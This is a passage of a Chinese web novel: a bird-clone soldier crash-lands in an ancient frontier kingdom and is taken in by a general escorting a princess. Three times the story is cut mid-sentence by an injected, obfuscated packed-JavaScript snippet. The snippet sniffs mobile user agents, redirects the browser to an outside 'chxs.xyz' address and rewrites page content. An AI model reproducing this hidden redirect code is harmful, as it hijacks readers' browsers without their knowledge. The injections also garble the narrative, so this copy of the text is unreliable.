《俺不是雪域暴君》 1. 第 1 章 星辰浩瀚,宇宙如死。 一架劣质飞舟在漫无边际的陨石群中歪歪扭扭穿梭。 林一歪在驾驶座上,副驾上是一只不知死去多久的巨鸡,那是她的鸡族战友林二,虽然这名字是林二死后她给起的,按照百鸟恒星帝国的规矩,读作源生战士写作战争耗材的她们,从生到死本该只有编号才对。 有道温柔如水的浅蓝色身影用低沉悦耳的嗓音在林一耳边轻声道:“公民TUD9501,一切都已经结束了。本次战役,你歼灭虫族''梦魇蝶军团'' 至最后一人,团长桑克斯于两个星际日前死亡,魂归星海。你率领的TUD95小队本次出色地完成了任务,检测到飞舟即将报废,能源即将耗尽,且超过源生战士最远救援范围,故无法为你派出支援,接下来是临终慰问……” 林一已经听了五遍这话,从五天前她的公民系统就开始发癫,桑克斯死后,也许是检测到任务已经完成,终于不发癫了,转而自动拟态为“临终慰问”模式。她很早之前就听说过源生战士死前只要还留着一口气,就可以爽两天了。 据说啊,平日里这个不能做,那个违法要禁止的公民系统会最大限度地满足你的要求。林一本来以为自己对这种鸟工智障没什么兴趣的,但也许是失去最后一个战友让她产生了些许孤寂感,又或者是真的鸟之将死,她忽然把视线转向这几天都不怎么正眼看的公民系统,舌尖“吧嗒”抵了一下喙,用难听得冒烟的鸭子嗓说:“你这临终慰问,有没有公鸭的成分?” 话带了点流氓气的骚扰,要是对上层雌鸟的男性说出这话,足够林一在锁星天狱里关五百年整,不过这些底层耗材并没有这个困扰,她们一辈子都见不到活的自然男性,林一算是源生战士中的极强者,她的自然繁衍概率也不过是0.0032489。 浅蓝色的系统人形只是温柔如水地道:“根据百鸟帝国现存律法《告雌鸟众公约守则》中第二百六十……” 林一顿时翻脸,抬脚踹它,骂骂咧咧,“你爸了个巴子的,这都没有你还临终慰问,慰问个鸟蛋的慰问,林二死的时候她那个系统还给她摸了,你个虫养的,滚。” 骂完她就关闭了公民系统,放开了自动驾驶权限,像个死鸟一样歪斜在驾驶座上。歪了会儿,林一忽然看了眼裆下,要不,最后来一发吧? 林一是没什么脸皮的老兵油子了,作为批量制造出来的源生战士,她出生即毕业,从流水线下来就是十八岁的成年面貌与智力水平,而今已经十岁出头,远超平均死亡年龄三倍,雌鸟的祖传手艺活也精湛万分。 她挺有仪式感的,看了一眼身边的巨鸡尸身,敲了一下林二已经半死不活的系统,“来个伴奏,就前几天林二嘎掉时候你播放的那首古曲,古曲伴奏配手艺活,风雅得很。” 林二的系统已经自动抹除了智能程序,比林一的那个鸟工智障还智障三分,但播个音乐而已,又不是配合雌鸟的低俗下流行为。智障系统没什么表情地原地投影出一道古典俊美少年轮廓,那是林二生前最喜欢的形象,只见少年微微闭目,优雅张口,缓缓摇摆身子。 流畅优美的古曲从少年漂亮唇瓣里倾泻而出:“鸡你太美,鸡你实在是太美……” 多美的曲儿啊!古言的韵律加上真诚炙热的爱意流淌,这高雅的音乐让林一听得闭上了眼睛,甚至逐渐失去了邪淫的念头,心中微微温软下来。 听闻这首古曲是远古时代一名男性为心爱的鸡所作,这字字句句满是直白情意流淌,而咬词旋律又不失古典之美,实在是动人至深。 林一闭着眼睛听了三十遍鸡你太美,最后自己都会唱了,飞舟失去能源动力的一霎那,她察觉到了但没睁眼,神色如常地把身侧僵硬多时的巨鸡脑袋别过来一点,抱在怀里,轻声吟唱这古老的情歌。 她和林二是同一批流水线的源生战士,抵背而战多年,林二死时她痛哭一场,这些天其实一直没缓过劲来。 所谓源生战士就是百鸟帝国的高等自然人提取的祖源基因批量制造而成的耗材,鸟族人形双态,可在无保护情况下太空存活三十小时,是极致的战争兵器。 后来为了约束源生战士,百鸟帝国在基因层面添添减减,辖制反叛可能,使得源生战士只剩下耗材的作用,从生到死都受制于眉心松果体内的芯片程序,这鸟屎程序还会定期清洗人的情感,以便时刻冷静思考,不影响执行任务。 十年来、见惯生死,背对彼此。到如今,只剩一点冰冷的同病相怜。 飞舟似乎是在下坠了,林一知道这种下坠大约还要持续很久,久到她嗓子唱哑了,慢慢推开林二,忽然骂了声爹,并指如刀挖向眉心松果体。爪尖轻巧勾住熟悉的那个点,在系统温柔如水的声音里挖出血淋淋的细小芯片,感觉到体内一瞬间基因崩盘般的清晰碎裂声响,林一恶狠狠地笑了,骂骂咧咧啐出一口血沫。 TUD9501公民系统最后传输回帝国主脑的画面里只传来最后一道声音,便归于死寂。 “艹所有人!” …… 飞舟坠入一颗蓝色星球的大气层。 魏朝边关,瓜城郊外,陨铁散落如雨,一具烧得黑乎乎的人形倒栽葱扎在麦田陨坑里。 —— 翩翩归妹,独将西行。逢天晦芒,毋恐毋惊。后且大昌。 七月的阳光仍旧烈,一行上千人的车队缓缓而行,前车为三百左右的骑兵,持仪仗,后有高轮车驾,贵人居之,辎重在后,步兵持枪随行。 将军江骋在车驾窗外骑马,车帘下显露半张芙蓉面,声音稚嫩的少女趴在车窗边小声地说着什么。江骋的面容有别于寻常武将的粗犷,甚至是白皙而俊丽的,黑眸略有一丝温柔,迎面有风沙,他低声道:“公主垂帘吧,别叫风沙吹了眼。” 公主萧玲珑年纪虽小,长相却模糊了这份稚气。她生得实在漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094406|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,眉长而有锋,一对桃花眼多情得很,专往江骋身上跑,这一路上不知是如何缠的,把冷面的将军缠进了绕指的柔情结里。 前面车驾的太守程欣只作不知,他为人怂得很,知晓这两个祖宗他谁也招惹不起,何况这又关他玉门太守什么事呢?他只负责把人送到地方就行。 不过这一对男儿俊女儿美,年纪正好,两下有情,倒确实让五十出头、夫妻恩爱、有儿有女,家庭美满的程太守心下恻隐。 这行车队顶着七月的日头往那雪域高原上去,自然是为了和亲,和亲对象乃是如今雪域三大可汗之一的苏赫阿那,倒不是说苏赫阿那不及江骋配得上玲珑公主,而是……这么说吧,三十年前程欣初来边关游学的时候,刚好是少年苏赫阿那在雪域打出名气的时候。 三十年如一场大梦,回顾容易,却是一个人的半生过往,程欣比苏赫阿那大不了几岁,心里实在感慨。 这小公主,今年才十五六岁呢,比程欣自家闺女还小两岁,但心里恻隐归恻隐,程欣绝不会表现出来,作为护送人兼送嫁使者,程欣唯一能做的就是该走就走,该歇便歇,绝不赶路。 不过也拖延不了几日了,自玉门出发北上瓜城,没两天就要离开魏朝的边关,抵达雪域境内。再走五日过克烈部,经大河谷沿流北上,就是苏赫部的黑帐连营,全程约莫不到半月。 车队行至瓜城附近时,天色渐晚,程欣派人去询问江骋是加速赶路,夤夜进城休整,还是就地扎营,明日入城。并不出意料,江骋提出夜间行军人马疲惫,不如就地扎营,程欣也习惯了,他不善于做恶人,便吩咐下去安营扎寨。 萧玲珑知道心上人是为了自己,心中也是甜蜜,不顾侍女哀求阻拦,跳下车驾,很大胆地拉起了江骋的手,拉他去了无人的丘陵后,声音甜得出水,“鸿羽哥哥……” 鸿羽是江骋的字,他今年十九,还不到加冠年纪,但提早取字进入仕途已经是较为普遍的事,许多世族子弟少年时便有字,并不出格。 江骋轻轻嗯了一声,只道:“此前我们商议的事,瞒过程太守不难,但你的侍女之中,没有一个能够替代你。” “这是自然的。”萧玲珑有些得意地轻哼一声,随即忧愁地垂下眼睛,“霓裳和羽衣都是我从小用惯的人,她们会打好掩护的,只是……鸿羽哥哥,我心里慌,倘若叫人知道去和亲的人不是我……” 江骋摸了摸她的头发,黑眸沉沉,只道:“没关系的。” 魏朝建国三百年,最初以公主和亲制衡雪域部落,挑唆兄弟相争,父子相杀,宿敌死斗。后来雪域也有了一系列应对和亲的制度,魏朝又开始内斗,对雪域无暇顾及,到如今和亲不过是个笑话罢了,历来魏家公主入雪域,何曾寒酸到千人仪仗,千金辎重。 所以,没关系的。 江骋为萧玲珑系上披风,黑眸沉静,看向瓜城,不过是寻个美貌贵女,替代而已。 2. 第 2 章 次日天明,江骋带一百骑兵往前走了些许距离探路,折返回来时萧玲珑尚在睡梦中,太守程欣正在车驾边哗啦啦漱口。 程欣这个年纪保养得已经算是相当不错,世家子弟一贯的好卖相,使得他在这个年纪还有些许姿色。僮仆用干净柔软的雪白巾帕为程欣擦去胡须上的水渍,背对着江骋,程欣亲自戴好冠带才转身,笑容和煦。 “江校尉一早探路辛苦,还没用朝食吧?要是不嫌弃……” 江骋只是微微抬了一下头,沉声道:“朝食不必,末将在官道附近发现一伙山贼的踪迹,过往村民商旅多有怨憎,数目倒是不多。末将以为瓜城尚属我魏朝上国之地,既然路途不远,不妨为百姓除去这一害,太守认为如何?” 话都说到这里,程欣也没什么好反驳的,只是心里难免腹诽,这一路上江骋为民除害的次数有些多,不过扫一窝山贼而已,程欣没放在心上。 这一行车队上千口子人,除去公主陪嫁的二三百侍女侍从工匠厨夫医师乐队等,剩下三百骑兵五百步兵,都是装备精良的洛阳禁卫军中挑选的好手。带兵送嫁的江骋也不是洛下纨绔子弟,正儿八经的名门之后,虽然父叔战死得早,但其幼时就在军中历练,仅靠父辈那点余荫也做不到这样升迁。 想到这里,程欣客客气气地道:“山贼自是当诛,江校尉仁善哪。” 于是晨起车队赶路,快午时抵达瓜城。瓜城是魏朝边关比较特殊的城池,出北城十余里就是魏朝的边境碑,同时设有榷场,是与雪域各部落互市之所,私人禁止茶马交易。 但雪域部落不管你这个那个的,把瓜城当部落集市用,黑市生意做得很热烈。其中最大的黑市东家是“雪域之狐”汪古部落,本身是个中等部落,但通过各项贸易往来成为了雪域上最受欢迎的客人,也是魏朝大小行商又爱又恨的雪域朋友。 瓜城实质上算无主之地,仅有个县治所在此,平时也管不了雪域黑市的事,安置下公主一行,江骋点了二百骑兵四百步兵出城,程欣就跟那县官坐着喝茶,看着二楼底下那些来来往往的雪域人。 县官张清和程欣是同门,只是程欣离开师门游学后张清才拜入老师门下,后来张清来边关任职,才拜见了程欣这个师兄一面,彼此不算熟悉,不过张清很健谈,相处起来倒也和睦。 程欣喝了口茶,指着酒楼底下街道来来往往的雪域人,不由感叹:“玉声啊,我十多年前来瓜城时,也是这家酒楼,底下偶尔见个高高的雪域商人,小孩子还要巴着望,现在光景属实是不同了。” 张清笑着:“从前是汪古部自己偷摸着来交易,现如今朝廷开了榷场,和雪域互市,这些披毛饮血的蛮夷自是慕我上国风华——” 程欣懒得搭理,师兄跟你交心底子,你跟师兄玩心眼子,还有什么好说的? 接下来便只是些场面上的话,程欣喝了个水饱,婉拒了张清晚上的宴会招待,借口公主那边离不得人,向张清告辞离去。 但其实公主那边离不得人是真的,又哪里是离不得他老程。 萧玲珑从睡醒了就开始发脾气,连离开洛阳时抱的白猫儿都哄不住,猫儿被她揪疼了毛,毫不客气挥爪连击数下,在小公主白皙的手背上留下细长的血痕。程欣回来时萧玲珑正哭闹着指挥侍女抓猫,城中大户人家腾出来的临时居所内到处人喊猫叫,好不热闹。 瓜城没有正经的治所,当然也没有朝廷馆驿,公主自然不可住在贩夫走卒往来的客栈驿站,这是张清叫小舅子腾的私宅,在边关算是不错的住地了,萧玲珑仍然不算满意。 被江骋留下来的士卒里有个介乎少年和青年之间的瘦猴从树上把白猫儿摘了下来,嬉皮笑脸凑到大侍女霓裳跟前,“姐姐,捉猫有赏没有?” 霓裳冷眼撇了他一下,示意身边的侍女接过猫,这点小事也不过问萧玲珑,从自己的荷包里拣了两个银锭子。 她还没完全掏出来,瘦猴就很滑头地递来双手要接,没接稳掉了一颗在地上滚了几滚,霓裳刚要开口,毕竟厌烦这些臭当兵的是一回事,叫人在地上捡钱却是羞辱了。 谁料瘦猴一点不介意,连忙追着银锭子走了几步捡起来,咧着嘴点头哈腰,“谢谢姐姐赏,谢谢姐姐赏!” 霓裳不免“啧”了一声,觉得自己太高看这些兵丁的自尊心。 江骋一去就是一天,到了入夜还没回来,萧玲珑得知他是出去剿山贼,起初是生气他一整天不见人,后来又担心起来。这担心倒也是多余的,江骋寻摸山贼踪迹用了些时间,彼时天近黄昏,江骋便打算夜袭山贼窝,有心算无心的夜战往往更能降低损耗成本。 入夜,山贼窝里灯火通明,江骋坐在山贼头目张大虎子的交椅上,冷冷地看着底下被捆绑严实的山贼大小头目。喽啰已经杀尽了,这些头目挨个问询过,都不是什么值得收拢的货色,他用金刀拍了拍靴底草屑,随后一刀剁掉张大虎子的头颅。 一名下级武官低声来报:“庞氏的女眷有几个要寻死,少将军,这……” 江骋微叹。 这处山贼窝点数目确实不多,二三百人啸聚山中,劫掠过往小型商队和百姓,偏偏前段时间朝廷流放罪族庞氏,一族上下青壮已经被杀光,只剩些老弱妇孺由一队小卒押解至瓜城,准备驱离魏土。偏偏叫这些山贼撞上,杀了押送官差和庞氏的老弱孩童,只留下一家堂姐妹十余人带回凌虐。 世家贵胄最后的命途,倒也凄凉。 他想了想,忽然问道:“庞氏女中,可有美貌出众者?” 下级军官愣了一下,但很快摇摇头,“庞女一脉相承,清秀端庄。” 江骋没有什么失望情绪,想从山贼窝里碰到好运气是很难的,他只吩咐了几句。 “寻死者,让她们自行了结,下不了手的帮她们一程,天亮后寻面南之地安葬就是,愿意活的就带上。” 山贼窝里解救出来的女眷,除了庞氏女,也有一些商人百姓家的妇女,有去处的白日带回瓜城自去,没去处的收留下来也无不可,江骋并不指望靠这个收拢人心,顺手而为罢了。 清点山贼财物的时候,先前那名下级武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094407|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官忽然来报:“少将军,几个寻死的庞氏女已经上路了,属下原本是想找个地方早些安葬的,谁知道发现,发现一名……” 似乎是不知道该如何组织语言,武官憋了半晌,简单地说:“真正的贵女。” 江骋黑眉一挑,不过他还没说什么,就已经有两名士卒抬着一具已经裹好一件外衣的人形物体上来,江骋的目光落在人形的面容上。 林一感觉自己头疼得快要炸掉了,挖掉芯片对她来说犹如和自己的大脑做一部分切割,疼痛只是附加品,她的基因在全线崩溃。 但伴随着飞舟流火将她整个人烧灼烤透,似乎从原始基因里被唤醒了什么,像砂砾被烧融后重组结晶,成为新的材质,黑糊的表层像一张皲裂的干皮,随着动作裂开,露出底下雪白莹润的新生肌肤。 在麦田里倒栽葱扎了两天,林一脸部的焦黑外皮已经剥落,流水线出产的面部五官是比较随机的,但林一的长相确实十分优越,七分骨相三分皮肉便可称为美人了,她有十分的骨和十分的皮。 林一被从陨石坑里拔出来的时候,几个士卒都看呆了眼,那层焦糊皮被和泥泞混在一起无法分辨,但脸是从土里拔出来时整张外皮一起脱落的,她干净的脸在黑夜微光下便十分显眼。 江骋的眉头微皱,两步上前,抬手捏住林一的下巴,不带任何情绪地左右查看,又捏开她唇瓣端详片刻。 肌肤白如凝脂,五官优越,齿洁光白,肌骨匀亭。 人的身份从来都是外显的,世家子千年传承,长相与平民的粗糙天差地别,就算平民之中侥幸生个漂亮孩子,又走了大运没有被掠夺,久食粗粮也会改变下颌骨的长势和口齿的美观程度。以江骋的认知判断,这名女子应当是自小处境优渥,才能无瑕如玉,确是贵女无疑。 一个落入贼窝的贵女,即便家世不错,也不可能再回到家族里去了。 心中一块石头陡然落地,江骋难得地笑了一声,对身侧武官周鹏说:“寻一身干净衣裳来,让庞氏女出两个人为贵女梳洗,记住不可怠慢。” 周鹏拿不准少将军的想法,但令行禁止,没有任何质疑地去办事。 山贼窝里好屋舍不多,周鹏让人打扫了一间房出来,请了庞氏的七娘和十一娘来给林一擦洗身体。两个女孩儿年纪都不大,受了一段时间磋磨,面容憔悴,但很认真仔细地给林一洗去身上泥污和焦糊糊的外层脆壳,很不合时宜的,十一娘忽然想起了脆皮鸭,咳笑一声,又忍不住落泪,低声对堂姐道:“这样的娘子,竟也和我们一般,落到现在这……” 庞七娘搓着林一的背,发力很重,忍不住嗤笑一声,“人家和我们可不一样,都是贼窝里滚了一圈,人都埋土里了还能叫贵人看上,等着瞧吧,等她醒了还不一定多欢喜。” 林一确实被她搓醒了,她醒来的动作很轻,姐妹二人都没发现她睁开眼睛了,一双流光溢彩的圆瞳紧紧盯着外头偷窥的十多个士卒。 先别管这是哪,也别管搓她的两个傻鸟是谁,外头的几个是男性吧?看起来是野生的。 3. 第 3 章 为了擦洗方便,屋里点着油灯,里头亮外头黑,从外往里看是亮堂的,从里往外就就只能见到一片夜色。庞家的十一娘给林一揭掉身上最后一块焦脆外皮,抬头就对上一双黑白分明的眼瞳,顿时短促惊叫出声。 庞六娘见林一醒来,强忍着那点酸妒,赶在十一娘说话前,用标准的洛下音开口:“哟,小娘莫惊,是有位将军剿匪,救了咱们,你该是早前就被山贼捉来的吧?可怜见的,也不知受了多少……” 这话夹着刺,十一娘憋着话,扒拉了堂姐好几下,硬是没能打断,“……好在这苦尽甘来了,那位将军很看重小娘呢,叫我们给你洗干净些,也好在是这会儿醒了,待会儿将军要是叫你去,可别摆什么世家女孩儿的架子,姐姐说句丑的你别介意,服侍过山贼,还端着脸难免叫人家不痛快。” 十一娘听着都要哭了,她这堂姐从前不是这样的,人是讨厌了些,可说话没这么刻薄的,这些天的经历把人给磋磨疯了。 庞六娘的长篇大论没能引起林一的注意,四声八调、端庄雅肃的洛下音在林一耳朵里像鸭子嘎嘎,她紧盯着外头野生的男性们,喉咙里咕了一声,没说话。 先前林一是被两个士卒抬进来的,庞家姐妹给她擦洗擦干都是在浴桶里,等换上新衣真正面对面的时候,十一娘才发现这位贵女生得非常高挑,之前擦洗的时候她只注意到林一的腰不细。不光不细,连着肋下到胯骨的一截匀称而有力,腹部本该是女子最柔软的地方之一,她摸上去却只觉得坚硬如铁。 林一注意力不在两个傻鸟身上,奇特的,柔软的织物一层层裹在身上,她谨慎地打量周围近乎原始的环境,四周是泥土晒砖砌成的墙壁,桌上半盏油脂点着一豆灯火照明,两个傻鸟正在嘎嘎不休,她伸手捋了一把湿漉漉的头发,咧开嘴问道:“外头那些男人是你们散养的?有主没主的?总不能真是野生的吧?” 庞六娘和十一娘面面相觑,十一娘小声地问,“贵女,您在说何地的俚语?” 为什么听起来像一堆鸭子在叫? 看在自己飞舟坠毁人没死的份上,看在胸大屁股翘的男人份上,林一脾气很好地再次重复了她的问题:“嘎↗嘎→嘎↘?嘎→嘎嘎↑?嘎呜嘎→?嘎↗?” 她还加问了一句听懂没,属实是非常难得的有礼貌。 两姐妹听傻了,出身大族的世家女基本上都能讲两三种话,宴席场合的洛下音,族内交流的当地土话。如果从小就有婚约在身,还要学习一门未来夫家所在地的俚语,除此之外一些特定地域的语言也会适当学习一些,基本上都能听懂。可这、这完全就是有点音调不同长短不一的……鸭叫吧? 片刻后,林一被带到江骋面前,她完全没有任何反抗的意思,反抗什么?几个可怜可爱的男人走到她面前,有别于系统的全息生成,一个个带着活生生的人味。虽然说着她不懂的话,但人形生物肢体语言还是比较统一的,是叫她跟着走,林一也就决定跟着走呗,然后见到了一个坐在椅子上,很漂亮的男人微微抬起头朝着她看。 林一的心好像一下子就打开了。 前两年她执行大量几乎必死的任务时,经常看点违法的东西,其中有些底层战士因为各种机缘巧合搞上各种男人的虚拟文本或者场景。看上头的那几天,她顶着芯片一天违规警告十八次硬是阅读了几百轮,现在这个场景简直比那些虚拟毒鸟食还要刺激。 她收敛着语气,嘎嘎几下,温声细语,询问江骋几句直白露骨得没法翻译的鸟语。 江骋拧着眉头听完庞家姐妹的话,冷眼打量林一,略微羞涩的神态,虽然低哑但听得出来尽量轻柔了的语气,他沉声询问道:“语言不通?疑是痴傻?” 庞六娘先前只是听人说有个年轻将军救下了她们,还没有见到真人,被带过来的时候一眼看见江骋年轻英俊,坐在那儿的样子简直、简直像是天神下凡,顿时眼睛都不会转了。 她还想再凭借林一的事和江骋多说几句话,就见江骋抬了抬手,周鹏上来做了个请的手势,便把姐妹二人带离了山贼寨子简陋的厅堂。 “贵女可是寻求自保,想要装痴卖傻?”江骋从椅子上起身,掸了掸袖口的灰尘,很平静地开口,“若我保你免受家族责难——” 林一见江骋要向自己走来,几步上前迎上去,有些欣喜,“嘎嘎啊↗?嘎→嘎↘?” 江骋仔细打量林一的神态,分秒后陡然拔刀,金刀锋芒掠过,停在林一肩头上方毫米处,林一继续咧着嘴巴朝着他笑,是很礼貌的笑容,收着喙的。 金刀又收了回去,江骋按了按眉心,思索着应对。 痴傻之人的神态和装疯卖傻是不同的,眼前的贵女不是故作痴傻的样子。除了语言不通之外,她腰背挺直,站立的仪态比庞家女还要好些,看人的眼神不卑不亢,被持刀相向也只是含笑应对,这是受过很高等世家教育的迹象。那些大族最喜欢教女孩儿这些,叫她们死都记着仪态,上吊之前先绝食水,免得死后秽湿衣裳。 可既是大族出身,又为何只会嘎嘎乱叫? 想来想去,也没什么好解释,只能归结于这女子被山贼窝里的遭遇吓得失语,这也不是没有前例的事。尤其江骋出身军中,哪年没有一些士卒杀人后癫狂的案例,受过惊吓的人有各种各样的表现,何况江骋也不关心这些。 到了雪域,本也是语言不通的,何况如今的和亲不过走个过场,三年前和亲克烈部的那位公主已经薨了两年余,洛下的市井里不知说了多少荒唐。 江骋对回来的周鹏道:“贵女一时失语,不算什么,今晚不用排班值夜,叫兄弟们睡,明天早些启程去瓜城。” 周鹏连忙找传令兵去吩咐,一回头忽然瞧见林一坐在了江骋身边,笑容很灿烂地伸出手,又是一通听不懂的嘎嘎。 江骋揉了揉眉心,“把她带下去吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094408|163682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林一知道语言不通,所以她后面越说越起劲,说得都自己都快信了,见江骋不理睬的样子,反倒是有个男人上前来,她很好脾气地嘎嘎询问,“他不要啊,你要给我***吗?” 贵女笑意吟吟,配上那张白皙优越的面容更是动人,但江骋冷眼看着,周鹏只是很克制地离着两步,做了个请的手势。 林一收敛起笑容,叹了口气,起身,顺带一脚踹开椅子,骂了句脏话往外走。 江骋被林一踢翻的椅子碾了一下脚面,神情倒没什么变化。 走出厅堂的林一心里挺气的。 面对系统我唯唯诺诺,面对男人我还唯唯诺诺,感谢他爹的百鸟帝国,感谢出厂设置里的高道德调控,芯片没了认知习惯还在,对着客客气气的男性,林一还是做不来那种强搞的事。 可惜回到之前洗澡的屋子附近,那群很风骚很荡,会聚在一起偷窥女人的野生男性不见了。 偷窥得那么起劲,她还以为能撞上好事情。 这会儿其实已经半夜了,山贼窝附近没有民居,血洗了一遍后自然也用不着守夜。 黑夜下林一的眼瞳亮如星子,她站在树上往底下眺望片刻,确认附近无人。她先是脱掉衣裳,从后背处慢慢陷出两道深沟,一对翅膀“唰”得一下延展而出,随着骨骼咔咔扭曲变形,一个丑得不像样子的巨大鸟形混血生物蹲在树杈之间。 鸡头戴一簇翎毛,鹅颈,颈上覆细细蛇鳞,鸵鸟似的宽厚弯背,翼展极大,尖锐的爪钩只具备强度不具备任何美感,最惨的是尾部,是一条水生鱼尾,鱼尾上方草草覆盖几条长得过分的尾羽,夜色下呈现出一种五彩斑斓的黑。 源生战士通常不会混得这么惨烈,就像林二,她有鸡鸭鹅三种常见战士基因模组,但最后呈现在鸟形上的总体还是个母鸡样。 林一不同,她是TUD95流水线01号产物,也就意味着从她开启的TUD95流水线,她实际上还起到半试验品的作用,所有那一批的源生基因都在她这里混了一遍,能从流水线上活着下来已是奇迹,通常流水线没有活着出厂的“01”,在蛋里就会各种基因失衡夭折。她出生那会儿在整个源生战士出生部还引起了一场小小的轰动——教授学者们都来瞅瞅怎么能混出这么丑这么奇葩的鸟样。 林一对自己的混血鸟形也比较藏着掖着,觉得有一点见不得人,除了和虫族厮杀,基本不会变成鸟形。 蹲在高大的梧桐树上,林一鸟瞳慢慢锁定在一处山丘后稍显平坦的麦田,看到了一个巨大的陨坑。她舌尖抵喙,巨鸟翅膀展开三米多,款款飞了过去。 坑里只有些飞舟残渣,这场坠毁,除了她什么都没能留下。 林一弓背蹲在陨坑里,一直蹲到天亮,拍了拍鱼尾巴上沾的灰站起身来,嘎嘎笑了一声。 林二啊,这星球男人遍地走,遍地走!你是没福了,就等咱抱着鸟蛋来看你哈! 4. 第 4 章 从星际战场来到原始世界是一种什么样的体验? 林一的体验非常好! 远离了劣质飞舟的逼仄环境,没有鸟工智障系统十年如一日的警告提示,脑瓜子里安安静静的,林一走着走着都忍不住哼起歌来,在嘎嘎声中偶尔夹杂着两声高音的婉转鸟鸣——内容很嘿嘿,是可以被抓去关五百年的程度了。 不怪林一吹鸟哨,怎么能怪咱吹鸟哨?除了那些虚拟毒鸟食的智障文本,林一这辈子第一次见男人放水!可惜野生男性还是有些羞怯,听见她吹哨音,马上背对过去。 果然还是真人带感,那些霸鸟文学里总是千篇一律,霸鸟振翅一挥,各种各样的男人会自己骑上来,一看就是从来没见过真男人的老底层雌鸟了。 瞧瞧这些……含羞带怯,含羞带怯,绝品啊! 处在男人窝里,林一很矜持,她都没有特意转到放水的男人前面扒拉看看,就这么美好地观赏了一路,正赶上庞六娘和庞十一娘到处找她。 “贵女,你一早去哪里了?实在是……哦!”十一娘拍了下脑门,才记起贵女只会鸭叫,她忽然开始比划起来。 人形生物的肢体表达能力很强,林一盯着瞅了半晌,感觉挺新奇,可以弄懂大半,这傻鸟是在问她的嘴巴和肚子?在问什么? 庞六娘和十一娘姐妹两个已经很久没吃过像样的食物了,流放途中族人就有一些吃了不干净的东西死去的,也有一些绝食累死在路上的,最饥饿的时候真是连地里的蚯蚓都挖出来吃。这些天在山贼寨子里的日子生不如死,流放途中饥饿难耐,反而山贼给的食物充足……有些事情,庞六娘是绝不肯承认的。 十一娘大概也想到了,用朝食的速度慢了下来,心事重重的。 庞家的女眷昨夜只剩下她们了,原本还有两个阿姐的,但大部分熟悉的人都选择自尽保全清名后,那两个阿姐到底还是没有撑住,天明时一个溺死在水盆里,一个撞了石头。姐妹两个早上出来找林一,十一娘哭了会儿,庞六娘骂了一路。 林一有些新奇地看着两人吃馒头喝粥,她闻了闻没急着动嘴,判断出这大概是一种进食行为。林一从小泡营养液长大的,她的鸟形两米八,林二的鸡形一米九五,源生战士基本没有小型鸟类,也没有任何无用器官。经过基因编辑后,传统的进食无法满足鸟形战斗的超高损耗,基本上就是泡营养液-战斗-回来泡营养液-继续投放进战场的循环。 不过她不是没有见识的那种二三年寿命的批量耗材,她活了十年,作为顶着一堆系统警告每天看虚拟毒鸟食的狠鸟,林一知道,百鸟帝国自然公民是不泡营养液的,她们一天吃三顿,有专门的厨鸟制作花样繁多的美食。 在这么原始落后的星球,居然可以吃上自然食物了吗? 林一拿起个馒头端详许久,张大嘴巴往里塞,在吞下大半个馒头时,她听见十一娘变了调子的尖锐鸟鸣。 庞六娘和十一娘合力把馒头从林一嘴里抠出来了。 林一没反抗任两人抠嘴巴,她算是明白了,自然食物太珍贵,两个傻鸟没有分享食物的意思,任由两人夺走嘴里的馒头,她嘎嘎两声,好了好了,知道了,我不吃了。 庞六娘气不顺,一边使劲给林一拍背,把馒头渣都拍在林一衣裳上,一边骂骂咧咧说:“寻死寻死,就知道寻死,叫男人玩几天怎么了?死了就什么都没有了,活该叫她们投胎到窑子里,那时候才知道什么叫命比草还贱!贱人!叫男人玩的时候没死,被救了就知道要脸,该死该死,哈哈哈哈哈!死得好!” 她骂着骂着,笑着笑着,突然就嚎啕大哭起来。 十一娘也想哭,但她忍住了,用袖子给林一擦嘴,微微带着哭腔说:“嫂嫂和姑姑,姐姐们是怕被人知道庞家女眷,是这般活在世上……” 耳边是两个傻鸟此起彼伏的哭声,林一有些不耐烦了,换成可怜可爱的男人在她面前哭也就算了,两个女人哭得一个比一个声音大,实在让她起一身鸡皮疙瘩。 她推开两人往外走,行行行,知道自然食物珍贵了,那软乎乎的团子味道挺好的,大不了她出去打猎几天赔偿,就是不知道要打多少肉食回来,这原始地界怎么换算食物标准的? 刚出屋,又是昨天那个男人,林一咧开嘴,心情很好地招了招手,“嘎呃~,嘎↗!” 可爱的男人,你好呀! 周鹏很客气尊重地后退半步,虽然知道和贵女语言不通,还是比划着道:“少将军说即刻启程,命属下来请贵女过去,不知贵女可会骑马?若是不会,就只能冒犯了,属下会与贵女同乘一骑。” 他的肢体语言……怎么说呢,林一以为这男人是给自己跳了个简短可爱的舞蹈。 十一娘在里面听见了,擦了擦眼泪出来,很耐心地给林一又比划了几次,这下林一大致明白了,昨晚那个漂亮男人,想带她走,上哪去呀? 